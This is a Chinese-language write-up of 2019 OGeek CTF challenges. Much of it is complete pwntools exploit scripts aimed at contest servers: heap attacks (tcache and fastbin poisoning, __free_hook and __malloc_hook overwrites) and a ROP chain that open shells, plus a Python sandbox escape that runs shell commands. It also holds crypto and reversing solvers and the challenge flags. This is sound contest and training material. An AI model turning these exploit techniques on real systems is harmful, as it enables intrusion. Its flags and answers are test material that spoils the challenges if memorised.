2019 OGeek-CTF题解【通过】

catch fun

flag{Reno}

LookAround

这道题目是目测是xxe盲打,是没有回显的,但是会有报错,这里联想到Google ctf的[GoogleCTF 2019] — Web: BNV — Writeup,通过报错带出数据

直接拿exp打过去

2019

利用zsteg发现图片中隐写的内容,易判断为base64编码,解码后得到新的字符串

12580633-457581365a54e294

再利用base85解码得到flag

12580633-ba68d02cbd2d8124

babycry

根据所给提示可以了解到明文会自动补全到8的倍数的位数,不足的用“_”补全,而根据输入可以判断出des的加密模式为安全性最弱的ebc模式,一个分组内的改变不影响其他分组,由此可以利用最后一个自动补全的分组进行爆破。

脚本如下:

from pwn import *
import string
def sendtext(p,content):
    # p.recvuntil(">")
    p.sendline("des "+content)
    res = p.recv()
    # print res
    return res
dic = string.lowercase+string.uppercase+string.digits+"_{}"
p=remote("139.9.222.76",19999)
p.recvuntil(">")
known = ""
while (len(known)<46):
    for k in dic:
        payload = "1"*(3+len(known))
        # print payload
        que = sendtext(p,payload).replace("\n>","")
        # print que
        res = sendtext(p,k+known+"_"*(7-len(known)))
        # print res[:16]
        # print que[-17:]
        i= 0-1-(((len(known)/8)+1)*16)
        if res[:16] in que[-97:]:
            known = k + known
            print known
            break
print known

爆破得到flag

flag{c0ngratul4tions_1_y0uve_chec7ed_1n_ogeek}

Easy Realworld Challenge

在右侧的log viewer功能看到了别人曾经登录的记录

12580633-7f5c7d05c4e39619

用telnet执行FTP交互,端口号21,用户名密码为ctf可以成功登入

开启ftp被动传输模式,从远程获取文件

12580633-98c251b267410e41

通过被动(PASV)方式建立与服务器的数据连接,输入pasv回车,此时服务器返回了服务器的IP和服务器开启的端口号,比如下图传回的服务器IP是172.16.3.123,端口号是244*256+172=60511

12580633-2ac3b921317fbb80

打开另一个窗口,使用上面计算出的端口号登录,拿到flag

12580633-e3c66bd155c524ae

hub

多次free拿libc地址,然后去改stdout的flag和_IO_write_base,这里需要爆破1字节,然后改__free_hook成system拿shell

from pwn import *

def malloc(size):
    p.sendlineafter('>>','1')
    p.sendlineafter('?',str(size))

def free(off):
    p.sendlineafter('>>','2')
    p.sendlineafter('?',str(off))

def write(data):
    p.sendlineafter('>>','3')
    p.sendafter('?',data)

context.log_level="debug"
#p = process('hub')
p = remote('47.112.139.218',13132)
#gdb.attach(p)
malloc(0xa0)
malloc(0x80)
malloc(0x80)
for i in range(7):
    free(0)
free(-0x90)
malloc(0x80)
write('\x10')
malloc(0x20)
write('\x60\xe7')
malloc(0x80)
malloc(0x80)
malloc(0x80)
write(p64(0xfbad1800))
malloc(0x20)
write('\x80\xe7')
free(0x60)
free(0x60)
malloc(0x80)
write('\x40')
malloc(0x80)
malloc(0x80)
malloc(0x80)
write('\x00')
p.recvuntil('\xb0')
libc = '\xb0' + p.recv(7)
libc = u64(libc) - 0x3ed8b0
print 'libc_addr:' + hex(libc)
malloc(0x10)
free(0x30)
free(0x30)
malloc(0x80)
write(p64(libc+0x3ed8e8))
malloc(0x80)
malloc(0x80)
write(p64(libc+0x4f322))
free(0)
p.interactive()

pybox

cut和sleep,基于时间的盲注拿flag

from pwn import *
import time
import string

# context.log_level='debug'
dicts = string.printable
poc = """__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("a=`cut -b %d flag` ; if [ $a == '%c' ]; then sleep 3; fi")"""

flag=''

for i in range(6,40):
    p = remote('47.112.138.86',11111)
    p.recvuntil('>>>')
    print 'try:'+str(i)
    for c in dicts:
        ti = time.time()
        t = poc % (i,c)
        p.sendline(t)
        p.recvuntil('>>>')
        if time.time() > ti+3:
            flag = flag+c
            print flag
            break
    p.close()

8V

V8的汇编代码。

简单的异或加密,每次异或密钥的值都会改变

res = "\xd2\"\xf1\x8d\xb7\xe0\xd0MF\x87T?\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;"
res = map(ord,list(res))
a3 = 88
for i in range(30):
    res[i] ^= a3
    a3 *= 65
    a3 += 66
    a3 %=256
for i in range(30)[::-1]:
    res[i]^=a3
    a3 *=35
    a3 -=16
    a3 %=256
print("".join(map(chr,res)))

babyre

lz77压缩算法,写出解压算法

f = open("output.file","rb")
g = open("input.file","wb")
bits = ""
i = 0
tmp = f.read(1)
tmpbuf = [0]*0x11
buf = [0]*0x1000
s = ""
k = 1
count = 1
debug = 0
while(True):
    
    bit = ord(tmp)
    if bit & 1<<(7-i):
        tmp1 = f.read(1)
        bit1 = ord(tmp1)

        bit<<=(i+1)
        bit &= 0xff
        bit |= (bit1>>(7-i))
        #print(hex(bit),i,hex(ord(tmp)),hex(ord(tmp1)))
        g.write(chr(bit))
        buf[count] = bit
        count+=1
        count %= 0x1000
        k+=1
        k%=0x1000
        s+=chr(bit)
        i = (i+1)%8
        if i == 0:
            tmp = f.read(1)
        else:
            tmp = tmp1
    else:
        tmp1 = f.read(1)
        tmp2 = f.read(1)
        bit1 = ord(tmp1)
        bit2 = ord(tmp2)
        m = (bit&((1<<(7-i))-1))<<(5+i)
        m&=0xFFF
        if i <=3:
            m |= (bit1 >>(3-i))
        else:
            m |= (bit1 << (i-3))
            m |= bit2 >> (8-(i-3))
        if i<=3:
            l = bit1 & ((1<<(3-i))-1)
            l <<= (1+i)
            l |= (bit2 >> (8-(1+i)))
        else:
            l = bit2 >> ((8-(i-3))-4)
        l &= 0b1111
        i = (i+1)%8
        if i == 0:
            tmp = f.read(1)
        else:
            tmp = tmp2
#         if debug<10:
#             print(l,m,hex(bit),i)
#             if debug == 6:
#                 print(buf)
#             debug+=1
#         else:
#             break
        l+=2
        for j in range(l):
            buf[(count+j)%0x1000] = buf[(m+j)%0x1000]
            #print(buf[(m+j)%0x1000])
            g.write(chr(buf[(m+j)%0x1000]))
        count+=l
        count%=0x1000
        k = 1

解压后打开bmp得到flag

King of KOF

一个KOF的安装包。一开始不知道安装包是nisi,硬调的。

注意到40B5A840BDA8是用来存放临时字符串的。

sub_401434是nisi的解释器。

安装后需要输入注册码。查找字符串查不到提示语。

用CE查找UTF16字符串,很快能找到提示语。在附近观察字符串,注意到一些比较有用的信息:这是注册码,注册码校验失败后的提示信息,fnCheckfnKoF97Base64Encode,一些提示输入flag的提示语,还有一串base64字符串:

cYZ1KIjhiR7Ol4RN9c0Xh7XryYfUD7A0m96h0/MQMI45mVhgTAnAtENpnzVKhfDZpVzfuiCBx5+BctkWo0GfU5qIYQV1bnFbNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1w=

b64decode再hexencoe得到:

7186752888e1891ece97844df5cd1787b5ebc987d40fb0349bdea1d3f310308e399958604c09c0b443699f354a85f0d9a55cdfba2081c79f8172d916a3419f539a886105756e715b36c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5c

可以看到,后面有一长串8个字符重复,估计都是同样的字符加密,padding长度是8,估计都是由'\x00'*8加密得到的密文。分组长度为8的加密一开始想到的就是des,但是没有密钥。

跟踪调试几步后,发现在40B5A840BDA8对比了输入和常量,常量是用UTF-16存储的,之前的字符串这是注册码就是注册码

之后校验flag的部分比较复杂,观察这两个地方的数据,注意到在user\AppData\Local\Temp\nsiF181.tmp目录创建了一些临时dll。同时从0-255遍历每个字符,可能是获取字符的ascii的utf-16值?遍历完所有后跟踪不久可以发现多了一个奇怪的KOF91.dll

复制出来ida打开,发现加了壳,不过是比较简单的壳。

重新开始调试,这次在输入flag之后,x86dbg选项中打开加载dll后中断,可以看到KOF97.dll被加载了,入口点在8000,81C4壳的代码执行完成。这时候就可以用插件把dlldump下来了。

dump后发现fnCheck与fnKoF97两个函数。这两个就是校验与加密函数,加密算法是TEA,密钥在算法内。用它来解密之前的密文,得到

dj_eyucjamkc]rm]rfc]emmb+mjb+b_wq{

发现前四个字符和flag字符偏移固定为2,是个凯撒密码,加密可能在之前的nisi里面。修正一下得到flag

#include "stdio.h"
#include "stdlib.h"
#include "stdint.h"

void decrypt (uint32_t v[2], uint32_t k[4]) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up; sum is 32*delta */
    uint32_t delta=0x9E3779B9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t key[4] = {0x20776F77,0x20756F79,0x646E6966,0x21656D20};
    uint8_t cipher[] = {113, 134, 117, 40, 136, 225, 137, 30, 206, 151, 132, 77, 245, 205, 23, 135, 181, 235, 201, 135, 212, 15, 176, 52, 155, 222, 161, 211, 243, 16, 48, 142, 57, 153, 88, 96, 76, 9, 192, 180, 67, 105, 159, 53, 74, 133, 240, 217, 165, 92, 223, 186, 32, 129, 199, 159, 129, 114, 217, 22, 163, 65, 159, 83, 154, 136, 97, 5, 117, 110, 113, 91, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168,0};
    int i;
    uint32_t *p = (uint32_t*)cipher;
    for(i = 0;i<30;i++)
    {
        decrypt(p,key);
        p+=2;
    }
    for(i = 0;i<240;i++)
    {
        if(cipher[i]!=0)
            printf("%c",cipher[i]+2);
    }
    printf("\n");
}

mblockchain

jadx打开后看java代码。

需要输入key和flag。key算一次md5后,取其中的三个字符再md5,md5值作为aes的key加密flag,之后重复md5之前的哈希作为key继续加密9次,一共十次。爆破这三个字符即可。

from Crypto.Cipher import AES
from hashlib import md5
foundpad = "\x10"*16

cipher = "74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5".decode("hex")
"""
cipherpad = cipher[-16:]
for i in range(240,256):
    print(i)
    for j in range(256):
        for k in range(256):
            key = chr(i) + chr(j) + chr(k)
            ck = key
            for _ in range(10):
                ck = md5(ck).digest()
            aes = AES.new(ck,mode = AES.MODE_ECB)
            cp = aes.decrypt(cipherpad)
            if cp == foundpad:
                print(cp.encode("hex"))
                print(ck.encode("hex"))
                print(i,j,k)
                exit()
"""
key = chr(241) + chr(183) + chr(36)
subkey = []
ck = key
for i  in range(10):
    subkey.append(md5(ck).digest())
    ck = md5(ck).digest()
for i in range(10):
    ck = subkey[9-i]
    aes = AES.new(ck)
    cipher = aes.decrypt(cipher)
print(cipher)

0day_manage

漏洞存在于handle 输入0的时候会free堆块且不置0.先malloc超过tcache的堆块再打印获取到libc,然后double free getshell。值得注意的是calloc的分配不走tcache所以只能用fastbin attack。

from pwn import*

context.log_level = "debug"

one = [0x4f2c5,0x4f322,0x10a38c]
#p = process("./0day_manage")
p = remote("47.112.137.133",12345)
a = ELF("./libc-2.27.so")
#gdb.attach(p)
def add():
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(1))

def add_leak(content,data_size,data,note_size,note):
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(1))
    p.recvuntil("3. Logic bug\n")
    p.sendline(str(1))
    p.recvuntil("size :")
    p.sendline(str(data_size))
    p.recvuntil(":")
    p.sendline(data)
    p.recvuntil("note size :")
    p.sendline(str(note_size))
    p.recvuntil(":")
    p.sendline(note)
    p.recvuntil("Please input your leak offset :")
    p.sendline(content)
def add_corruption(shellcode_size,shellcode,data_size,data,note_size,note):
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(1))
    p.recvuntil("3. Logic bug\n")
    p.sendline(str(2))
    p.recvuntil("size :")
    p.sendline(str(data_size))
    p.recvuntil(":")
    p.sendline(data)
    p.recvuntil("note size :")
    p.sendline(str(note_size))
    p.recvuntil(":")
    p.sendline(note)
    p.recvuntil("Please input your shellcode size :")
    p.sendline(shellcode_size)
    p.recvuntil(":")
    p.sendline(shellcode)
def add_login(data_size,data,note_size,note):
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(1))
    p.recvuntil("3. Logic bug\n")
    p.sendline(str(3))
    p.recvuntil("size :")
    p.sendline(str(data_size))
    p.recvuntil(":")
    p.sendline(data)
    p.recvuntil("note size :")
    p.sendline(str(note_size))
    p.recvuntil(":")
    p.sendline(note)
def delete(idx):
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(3))
    p.recvuntil("3. Logic")
    p.sendline(str(idx))

def show():
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(2))
    p.recvuntil("3. Logic")
    p.sendline("1")

def handle(idx,m):
    p.recvuntil("4. Handle in all the 0day\n")
    p.sendline(str(4))
    p.recvuntil("3. Logic")
    p.sendline(str(m))
    p.recvuntil("handle in?")
    p.sendline(str(idx))

add_leak("Aryb1n",0x409,"Aryb1n",0x20,"Aryb1n")
add_leak("Aryb1n",0x60,"Aryb1n",0x60,"Aryb1n")
handle(0,1)
#raw_input()
show()
p.recvuntil("note :")
heap_addr = u64(p.recvuntil("data :")[:6].ljust(8,"\x00"))
libc_addr = u64(p.recvuntil("note :")[:6].ljust(8,"\x00")) - 0x3ebca0
print hex(libc_addr)
print hex(heap_addr)
onegad = one[2]+libc_addr
malloc_hook = a.symbols["__malloc_hook"] + libc_addr
free_hook = a.symbols["__free_hook"] + libc_addr
#raw_input()
#add_leak(0x60,"aa",0x60,"aaa")
#handle(0,3)
#delete(3)
#raw_input()
add_login(0x60,"Aryb1n",0x60,"Aryb1n")
#add_login(0x60,p64(free_hook),0x60,p64(free_hook))
delete(1)
#add_login(0x60,p64(free_hook),0x60,p64(free_hook))
delete(3)
#raw_input()
add_login(0x60,p64(free_hook),0x60,p64(free_hook))
handle(0,3)
delete(3)
payload = "\x00"*0xb  #p8(f)*3
payload += p64(libc_addr + one[2]) #
payload += p64(libc_addr + a.sym["realloc"]+0xe)*2
add_login(0x60,p64(malloc_hook-0x23),0x60,"\x00"*0x13)
#raw_input()
add_login(0x60,p64(malloc_hook-0x23),0x60,payload)
print hex(onegad)
p.interactive()

Babyrop

程序先读4字节urandom随机流,作为参数传给下面这个函数。

12580633-32c704b3693a91a1

这个函数请求用户输入0x20字节,存在溢出,可以覆盖v5变量。然后会把输入跟4字节随机流用strncmp函数进行比较,但长度参数是用strlen函数获得的,因此我们的输入只要以\x00开头,就能使得strncmp函数作废。之后函数返回v5。

12580633-f0aec5200649a25c

from pwn import *
elf=ELF("babyrop")
#p=elf.process()
#p=elf.process(env={'LD_PRELOAD':'.so'})
p=remote('47.112.137.238',13337)
libc=elf.libc
#libc=ELF("")
context.log_level='debug'

sla=p.sendlineafter
sl=p.sendline
sa=p.sendafter
ru=p.recvuntil
shell=p.interactive

#gdb.attach(p,'b* 0x8048824')
puts_plt=0x8048548
puts_got=0x8049fd4
vuln=0x80487d0

payload='\x00'*7+p8(0xff)
sl(payload)
payload='a'*0xe7+'a'*4+p32(puts_plt)+p32(vuln)+p32(puts_got)+p8(0xff)
sa('Correct\n',payload)
puts_addr=u32(p.recv(4))
print hex(puts_addr)

libc_system=0x3a940
libc_binsh=0x15902b
libc_puts=0x5f140
libcbase=puts_addr-libc_puts
system_addr=libcbase+libc_system
binsh_addr=libcbase+libc_binsh
payload='a'*0xe7+'a'*4+p32(system_addr)+'a'*4+p32(binsh_addr)
p.send(payload)
shell()

Flag:

flag{BXCTFKKAZ8!bw&kN}

bookmanager

这题非常简单

在创建Text和Update Text的时候有一个堆溢出

利用这个堆溢出,直接fastbin attack,然后one_gadget拿shell

payload如下

from pwn import *

debug=0

context.log_level='debug'

if debug:
    p=process('./bookmanager',env={'LD_PRELOAD':'./libc-2.23.so'})
    gdb.attach(p)
else:
    p=remote('47.112.115.30', 13337)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)


def add_chapter(name):
    sl('1')
    ru('Chapter name:')
    sl(name)
    ru('Your choice:')

def add_section(cn,name):
    sl('2')
    ru('Which chapter do you want to add into:')
    sl(cn)
    heap = int(ru('\n')[2:],16)
    ru('Section name:')
    sl(name)
    ru('Your choice:')
    return heap

def add_text(sn,sz,content):
    sl('3')
    ru('Which section do you want to add into:')
    sl(sn)
    ru('How many chapters you want to write:')
    sl(str(sz))
    ru('Text:')
    se(content)
    ru('Your choice:')

def remove_text(sn):
    sl('6')
    ru('Section name:')
    sl(sn)
    ru('Your choice:')

def show():
    sl('7')

ru('Name of the book you want to create:')
sl('aaaa')
ru('Your choice:')

add_chapter('c1')
heap = add_section('c1','s1')
add_text('s1',0xff,'a\n')

add_chapter('c2')
heap = add_section('c2','s2')
add_text('s2',0xff,'b\n')

remove_text('s1')
add_text('s1',0x98,'\n')

show()
ru('Text:')
libc = u64(ru('\n')[:-1]+'\0\0')
base = libc-0x3c4c78
ru('Your choice:')

remove_text('s2')
add_text('s2',0x68,'c\n')

remove_text('s2')

malloc_hook = base+0x3c4b10

sl('8')
ru('What to update?(Chapter/Section/Text):')
sl('Text')
ru('Section name:')
sl('s1')
ru('New Text:')
se('a'*0x98+p64(0x71)+p64(malloc_hook-0x23)+'\n')
ru('Your choice:')

add_chapter('c3')
heap = add_section('c3','s3')
add_text('s3',0x68,'a\n')

remove_text('s1')
add_text('s1',0x68,'a\n')

sl('8')
ru('What to update?(Chapter/Section/Text):')
sl('Text')
ru('Section name:')
sl('s1')
ru('New Text:')
se('a'*11+p64(base+0x4526a)+p64(base+0x846D0))
ru('Your choice:')
sl('1')
print(hex(base))
p.interactive()

这个比赛本来想报名的……结果搞忘记时间了:sweat_smile: